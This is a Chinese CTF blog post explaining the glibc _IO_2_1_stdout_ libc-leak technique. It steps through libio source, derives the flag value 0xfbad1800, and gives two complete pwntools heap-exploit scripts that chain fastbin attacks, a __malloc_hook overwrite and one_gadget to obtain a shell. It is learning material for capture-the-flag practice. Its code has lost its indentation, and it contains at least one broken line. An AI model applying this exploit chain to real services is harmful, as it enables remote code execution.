_IO_2_1_stdout_ Leak

注意
本文最后更新于 2024-02-12,文中内容可能已过时。

学习背景

在看雪 CTF 平台中,天涯海角一题的 Writeup 看到了这个,看完之后甚至有些不想学 House of Roman 了。 wpcut.png

我不确定我能否把这部分讲清楚,但是本着让自己加深理解的初衷,还是写了这篇文章,不过这个利用方法如果不懂原理也是可以成功利用的,所以先讲怎么利用,再讲为什么这样利用。

本篇文章的内容极有可能出现错误,请各位师傅雅正。

话不多说,我们进入正题吧。

题目类型

  1. show 函数,也就是 leak 不了堆内容(如果有 show 函数,那么就可以利用 unsorted bin leak

  2. FULL RELRO,也就是 got 表无法修改(如果可以修改,那么就可以修改 freeputsleak

  3. 能够间接(修改 sizefree) 或者直接 (直接 malloc ) 的 free chunkunsorted bin,从而在 chunk 上存在 main_arena + 88 的地址

  4. 能够让 3 中在 unsorted bin 中的 chunk 同时也存在于 fastbin 中(修改 size 为 0x71,再 free),实现 fastbin attck

  5. 能够 UAF,部分写入数据到 unsored bin->FD 覆盖 (main_arena + 88) 的后两个字节(低地址),使其指向到 stdout 附近从而可以修改 _flags 等数据,这一步中有一些细节需要处理:

    • 部分覆盖的具体值由调试可知,因为要检测 fastbin size 是否在对应范围内,所以要在 stdout 之前找到一块可以伪造的地址。这个技巧类似于 __malloc_hook 的修改方法。
    • 由于在 libc 中只有后 12 个位是固定的,所以我们需要爆破后两个字节中的前 4 个位,也就是我们有(1/16)的几率利用成功。

利用方法

  • fp = _IO_2_1_stdout_
  • 绕过一些会报错的检测
    • 修改 fp->flag = 0xfbad1800(_IO_MAGIC | _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING)_
    • _输出过内容 (_IO_CURRENTLY_PUTTING = 1)
  • 修改 fp->_IO_write_base = leak addr,一般写入单字节(0x58),这样输出的地址中会有很多 libc 的地址。 如果是用 上面第二种的绕过方法,那么还需要让 _IO_read_end == _IO_write_base

利用原理

内存中有 stdiout, stdin, stderr 这三个指针,这三个指针一般在 bss 段上用于输出读入数据,所指向的内容在 libc 中,而且结构可以被修改,当我们有任意写的权限时候,我们就可以修改 stdout 的结构体来泄露 libc。 point.png

当调用 put、printf 等输出函数的时候,会利用 stdout 指针进行输出。 先看一下 stdout 所指向的结构是怎么样的: stdout.png 我们需要的是修改的是 _flags_IO_write_base,由于一般覆盖只有连续的一次机会,所以我们也需要覆盖到中间的三个指针(_IO_read_ptr, _IO_read_end, _IO_read_base)。由于 stdout 是用于输出的,所以这三个指针实际上并没有用到,我们可以直接覆盖为 p64(0)[0x0000000000000000]。

那么这些指针是干什么用的呢? 我们来看别的师傅是怎么解释的。

其中 _IO_buf_base_IO_buf_end 是缓冲区建立函数。 _IO_doallocbuf 会在里面建立输入输出缓冲区,并把基地址保存在 _IO_buf_base 中,结束地址保存在 _IO_buf_end 中。 在建立里输入输出缓冲区后,如果缓冲区作为输出缓冲区使用,会将基址址给 _IO_write_base,结束地址给 _IO_write_end,同时 _IO_write_ptr 表示为已经使用的地址。 即 _IO_write_base_IO_write_ptr 之间的空间是已经使用的缓冲区,_IO_write_ptr_IO_write_end 之间为剩余的输出缓冲区。

所以之所以图中 _IO_write_ptr - _IO_write_base = 1_IO_write_end == _IO_write_ptr 也就是只有长度 1,原因就是改程序在初始化的时候使用了。

1
2
3
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);

让内容立马输出出来,也就是 1 字节输出 1 次。 所以如果我们能够把 _IO_write_base 改小,那么 _IO_write_base_IO_write_ptr 这一段的内容将在下一次输出的时候一起输出出来,就达到了泄露的目的。 而且 _IO_write_base 在一次输出后就会调整为原来的值,也就是这一块的内容只输出一次。

那 flag 修改的这个值的意义是什么? 这里先给出下面一些会用到的常量的(glibc/libio/libio.h)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
/* Magic number and bits for the _flags field.  The magic number is
mostly vestigial, but preserved for compatibility.  It occupies the
high 16 bits of _flags; the low 16 bits are actual flag bits.  */
#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK    0xFFFF0000
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED        0x0002
#define _IO_NO_READS          0x0004 /* Reading not allowed.  */
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
#define _IO_EOF_SEEN          0x0010
#define _IO_ERR_SEEN          0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
#define _IO_LINKED            0x0080 /* In the list of all open files.  */
#define _IO_IN_BACKUP         0x0100
#define _IO_LINE_BUF          0x0200
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
#define _IO_IS_FILEBUF        0x2000
/* 0x4000  No longer used, reserved for compat.  */
#define _IO_USER_LOCK         0x8000

输出具体的调用是(以 puts 为例): _IO_puts -> _IO_sputn -> _IO_new_file_xsputn -> _IO_overflow -> _IO_new_file_overflow 而最重要的检测也在 _IO_new_file_overflow 中,所以我们主要来观察他的源码,并分段解释。 函数定义

1
int _IO_new_file_overflow (FILE *f, int ch)

检测_IO_NO_WRITES

1
2
3
4
5
6
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
	f->_flags |= _IO_ERR_SEEN;
	__set_errno (EBADF);
	return EOF;
}

顾名思义,_IO_NO_WRITES 就是来判断是否可以写出数据的,为 1 表示禁止,为 0 表示允许。 与他类似的还有一个 _IO_NO_READS,但是我们这里主要是 leak,所以用不到 _IO_NO_READS。 这个,_IO_NO_WRITES 在 stdin 中是为 1 的, 在 stdout 中是为 0 的。 同理,_IO_NO_WRITES 在 stdout 中是为 0 的,在 stdoin 中是为 1 的。 所以,(fp->_flags & _IO_NO_WRITES) == 0 需要被满足

检测_IO_CURRENTLY_PUTTING

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
    /* Allocate a buffer if needed. */
    if (f->_IO_write_base == NULL)
    {
        _IO_doallocbuf(f);
        _IO_setg(f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
    }
    /* Otherwise must be currently reading.
	   If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
	   logically slide the buffer forwards one block (by setting the
	   read pointers to all point at the beginning of the block).  This
	   makes room for subsequent output.
	   Otherwise, set the read pointers to _IO_read_end (leaving that
	   alone, so it can continue to correspond to the external position). */
    if (__glibc_unlikely(_IO_in_backup(f)))
    {
        size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
        _IO_free_backup_area(f);
        f->_IO_read_base -= MIN(nbackup,
                                f->_IO_read_base - f->_IO_buf_base);
        f->_IO_read_ptr = f->_IO_read_base;
    }

    if (f->_IO_read_ptr == f->_IO_buf_end)
        f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
    f->_IO_write_ptr = f->_IO_read_ptr;
    f->_IO_write_base = f->_IO_write_ptr;
    f->_IO_write_end = f->_IO_buf_end;
    f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

    f->_flags |= _IO_CURRENTLY_PUTTING;
    if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
        f->_IO_write_end = f->_IO_write_ptr;
}

这么长一段在干什么,其实不用特别的关心,我们要知道这个 _IO_CURRENTLY_PUTTING 是用来判断是否初始化的,如果没有初始化那么为 0,如果初始化过了那么为 1。一般来说,程序都要输出内容,输出过内容的话,那么这个位就会为 1。 如果这个没做到的话,当你输出的时候,你篡改的 _IO_write_base 也会被他还原,这样就没办法泄露了。 所以,(f->_flags & _IO_CURRENTLY_PUTTING) == 1 需要被满足

检测 3:

1
2
3
4
5
6
7
if (do_write)
{
    count = new_do_write(f, s, do_write);
    to_do -= count;
    if (count < do_write)
        return n - to_do;
}

这一部分检测是调用进入另一个函数 new_do_write (f, s, do_write) 中了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static size_t
new_do_write(FILE* fp, const char* data, size_t to_do)
{
	size_t count;
	if (fp->_flags & _IO_IS_APPENDING)
		/* On a system without a proper O_APPEND implementation,
		   you would need to sys_seek(0, SEEK_END) here, but is
		   not needed nor desirable for Unix- or Posix-like systems.
		   Instead, just indicate that offset (before and after) is
		   unpredictable. */
		fp->_offset = _IO_pos_BAD;
	else if (fp->_IO_read_end != fp->_IO_write_base)
	{
		off64_t new_pos
			= _IO_SYSSEEK(fp, fp->_IO_write_base - fp->_IO_read_end, 1);
		if (new_pos == _IO_pos_BAD)
			return 0;
		fp->_offset = new_pos;
	}
	count = _IO_SYSWRITE(fp, data, to_do);
	if (fp->_cur_column && count)
		fp->_cur_column = _IO_adjust_column(fp->_cur_column - 1, data, count) + 1;
	_IO_setg(fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
	fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
	fp->_IO_write_end = (fp->_mode <= 0
		&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
		? fp->_IO_buf_base : fp->_IO_buf_end);
	return count;
}

最主要的就是 if (fp->_flags & _IO_IS_APPENDING) else if (fp->_IO_read_end != fp->_IO_write_base)

这里就是上面所说的两种绕过方法的地方。

  1. 进入 if (fp->_flags & _IO_IS_APPENDING) 执行 fp->_offset = _IO_pos_BAD;

  2. 不执行 else if (fp->_IO_read_end != fp->_IO_write_base) 这两者都能达到目的,也就是说,我们要满足

    • fp->_flags & _IO_IS_APPENDING == 1
    • fp->_IO_read_end == fp->_IO_write_base

    两者其一,一般是选择前者。

计算_flags 的值 所以 fp->_flags 需要满足以下条件:

  1. (fp->_flags & _IO_NO_WRITES) == 0_
  2. (fp->_flags & _IO_CURRENTLY_PUTTING) == 1
  3. (fp->_flags & _IO_IS_APPENDING) == 1

计算可得,fp->_flags = 0xfbad1800, 其中 _IO_MAGIC = 0xfbad0000

应用实例

weapon

保护全开,不能使用修改 [email protected] -> [email protected] 这样的方法。 具体利用思路参照参考链接 3,这里只放出我的 exp。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
from LibcSearcher import *

def choice(idx):
r.sendlineafter("choice >> ", str(idx))

def create(size, idx, content = 'a'):
choice(1)
r.sendlineafter("wlecome input your size of weapon: ", str(size))
r.sendlineafter("input index: ", str(idx))
r.sendafter("input your name:", content)

def delete(idx):
choice(2)
r.sendlineafter("input idx :", str(idx))

def rename(idx, content):
choice(3)
r.sendlineafter("input idx: ", str(idx))
r.sendafter("new content:", content)

def pwn():
create(0x18, 0, p64(0) + p64(0x21)) #0x21
create(0x18, 1) #0x21
create(0x48, 2) #0x51 0x71
create(0x18, 3) #0x21 0x91
create(0x18, 4) #top chunk
delete(0)
delete(1)

# partial overwrite1 & fastbin attack1
rename(1, '\x10')
create(0x18, 1) #0x21
create(0x18, 5) #0x21

# free -> fastbin
rename(5, 'a' * 0x8 + p64(0x71))
delete(1)

# free -> unsorted bin
rename(5, 'a' * 0x8 + p64(0x91))
delete(1)

# partial overwrite2 -> change fd
rename(1, p16(0x8620 - 0x43))

rename(5, 'a' * 0x8 + p64(0x71))

create(0x60, 6)
# change _flags = 0xfbad1800 and partial overwrite3(_IO_write_base 0x58)
create(0x60, 7, 'a' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + p8(0x58))

#leak
context.log_level = "debug"
stdout_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 131
print "stdout_addr: " + hex(stdout_addr)

libc = LibcSearcher('_IO_2_1_stdout_', stdout_addr)
libc_base = stdout_addr - libc.dump('_IO_2_1_stdout_')
print "libc_base: " + hex(libc_base)

malloc_hook_addr = libc_base + libc.dump('__malloc_hook')
print "malloc_hook_addr: " + hex(malloc_hook_addr)

one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one[2]
print "one_gadget: " + hex(one_gadget)

#fastbin attack2; __malloc_hook
create(0x60, 8)
delete(8)
rename(8, p64(malloc_hook_addr - 0x23))
create(0x60, 8)
create(0x60, 9, 'a' * 0x13 + p64(one_gadget))

# double free -> getshell
delete(8)
delete(8)
r.interactive()

while True:
try:
#r = process('./de1ctf_2019_weapon')
r = remote('node3.buuoj.cn', 26445)
pwn()
except:
pass

UNCTF2020 baby_heap

这道题 got 表可以写,而且也有 shell 函数,所以其实也可以不利用这个方法来 leak(可以修改 [email protected]puts@plt)。甚至可以不 leak,直接部分修改 [email protected]shell 函数(后门)。 据出题者所说,有 shell 函数的原因是因为刚开始打靶机没打通,所以加了 shell 函数降低难度,有 shell 函数不是本意,我这里尝试用出题者的本来的意思来试试看这道题目(官方 Writeup 的写法)。

修正:这里本来说错了,经过研究发现,并不是释放的 bin 的 size 为 0xf1 的时候会进入 unsorted bin,而是释放的 bin 的 size 为 0xf1 的时候对应 fastbinsY 的内容不是 0,即 fastbinsY[13] > 0,这时下标已经越界到 unsorted bin 的内容里,所以内容正好是之前构造的 free_list 的地址,这又正好是我们需要的 libc 空间的地址,在释放的时候把对应的内容作为 fd 拿了过来,再利用 partial overwrite 写入

因为 _IO_2_1_stdout_ leak 要求你先释放一次堆块进入 fastbin,然后再释放一次堆块进入 unsorted bin,否则无法在 fastbin 堆块上构造出 main_arena + 88,不过需要注意的是,这道题目由于先修改 global_max_fast 的时候有一个 binunsorted bin 中,所以第二次释放时的堆块地址,并不是 main_arena + 88,而是之前释放堆块的 BK,也就是之前伪造的 free_list(global_max_fast - 0x10) 的位置,不过稍微思考一下也就知道了,具体原因见上。

顺便一提,我之前一直认为进行 unsorted bin attack 之后的 unsorted bin 那块地方由于 corrupted,所以不能 free 和 malloc 其他块。

结果发现

  • free 时一切正常
  • malloc 的时候会报错,但是可以在 malloc 前先释放一个堆块来避免报错

我刚开始以为官方题解写的又臭又长,现在理解了官方题解后才发现,如果根据最早的出题思路来说,这题还真的要那么复杂的 EXP,而且十分优美,是我太菜没错了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# -*- coding: utf-8 -*-

from pwn import *
from LibcSearcher import *
#r = process('./pwn')
r = remote('node2.hackingfor.fun', 32625)
elf = ELF('./pwn')
context.log_level = "debug"

def en(c):
c = int(c, 16)
return(c * c * c) % 33

def add_note(size):
r.sendlineafter(">> ", "1")
r.sendlineafter("size?", str(size))
r.sendlineafter("content?", "a")

def delete_note(idx):
r.sendlineafter(">> ", "2")
r.sendlineafter("index ?", str(idx))

def change_note(idx, content):
r.sendlineafter(">> ", "4")
r.sendlineafter("index ?", str(idx))
r.sendafter("what is your new content ?", content)

r.recvuntil("welcome to game+++++++\n")
data = r.recvuntil("\n", drop=True).split(' ')
aslr = (en(data[3][3]) - 1) * 0x1000
free_list_addr = en(data[3][3]) * 0x1000 + en(data[2][2]) * 0x100 + en(data[1][1]) * 0x10 + en(data[0])
print 'aslr: ' + hex(aslr)

add_note(0x18)     #0

add_note(0x18) #21  1
add_note(0x18) #21  2
add_note(0x18) #21  3
add_note(0x68) #71  4

add_note(0x78)     #5

change_note(0, 'a' * 0x18 + '\xD1')
delete_note(1)

add_note(0x18) #1 == 1
add_note(0x18) #6 == 2
add_note(0x18) #7 == 3
add_note(0x68) #8 == 4

change_note(6, 'a' * 0x18 + '\x91')
delete_note(7)
add_note(0x88) #7 -> 0x91

delete_note(2) #to unsorted bin
change_note(6, p64(0) + p16(free_list_addr)) #change bk
add_note(0x18) #2 unsorted bin attack

#fastbin attack -> stdout - 0x43
delete_note(4) #to fastbin
change_note(7, 'a' * 0x18 + p64(0xf1)) #size:0xf1
delete_note(8) #to unsorted bin & double free(4 & 8)
change_note(7, 'a' * 0x18 + p64(0x71) + p16(0x620 - 0x43 + aslr)) #change size to 0x71 & change fd to stdout - 0x43

add_note(0x68) #4
add_note(0x68) #8 stdout - 0x43
change_note(8, '\x00' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + p8(0x58)) #change _flags & IO_write_base

#leak
stdout_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 131
libc = LibcSearcher('_IO_2_1_stdout_', stdout_addr)
libc_base = stdout_addr - libc.dump('_IO_2_1_stdout_')
malloc_hook_addr = libc_base + libc.dump('__malloc_hook')
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
one_gadget = libc_base + one[2][2]

#fastbin attack -> __malloc_hook - 0x23
delete_note(4)
change_note(7, 'a' * 0x18 + p64(0x71) + p64(malloc_hook_addr - 0x23))
add_note(0x68) #4
add_note(0x68) #9
change_note(9, 'a' * 0x13 + p64(one_gadget))

#free error -> malloc -> __malloc_hook -> one_gadget -> shell
delete_note(9)

r.interactive()

ByteCTF 2019 note_five

https://blog.wjhwjhn.com/archives/117/ 非常难的一道题,所以我专门开了一个文章来讲,如果这道题成功 leak 了,那么对 _IO_FILE leak 基本上是没问题了。 利用方法的话不属于本文章内容。

参考链接

  1. http://www.pwn4fun.com/pwn/io-2-1-stdout-leak-libc.html
  2. http://blog.eonew.cn/archives/1190
  3. https://n0va-scy.github.io/2019/09/21/IO_FILE/

修订

2022.06.23

早期学习的时候对 markdown 语法的了解不多,所以导致了文章中大量的排版错误,包括下划线等内容没有处理好导致变成斜体字,现在对内容和版面做了一个修订。

0%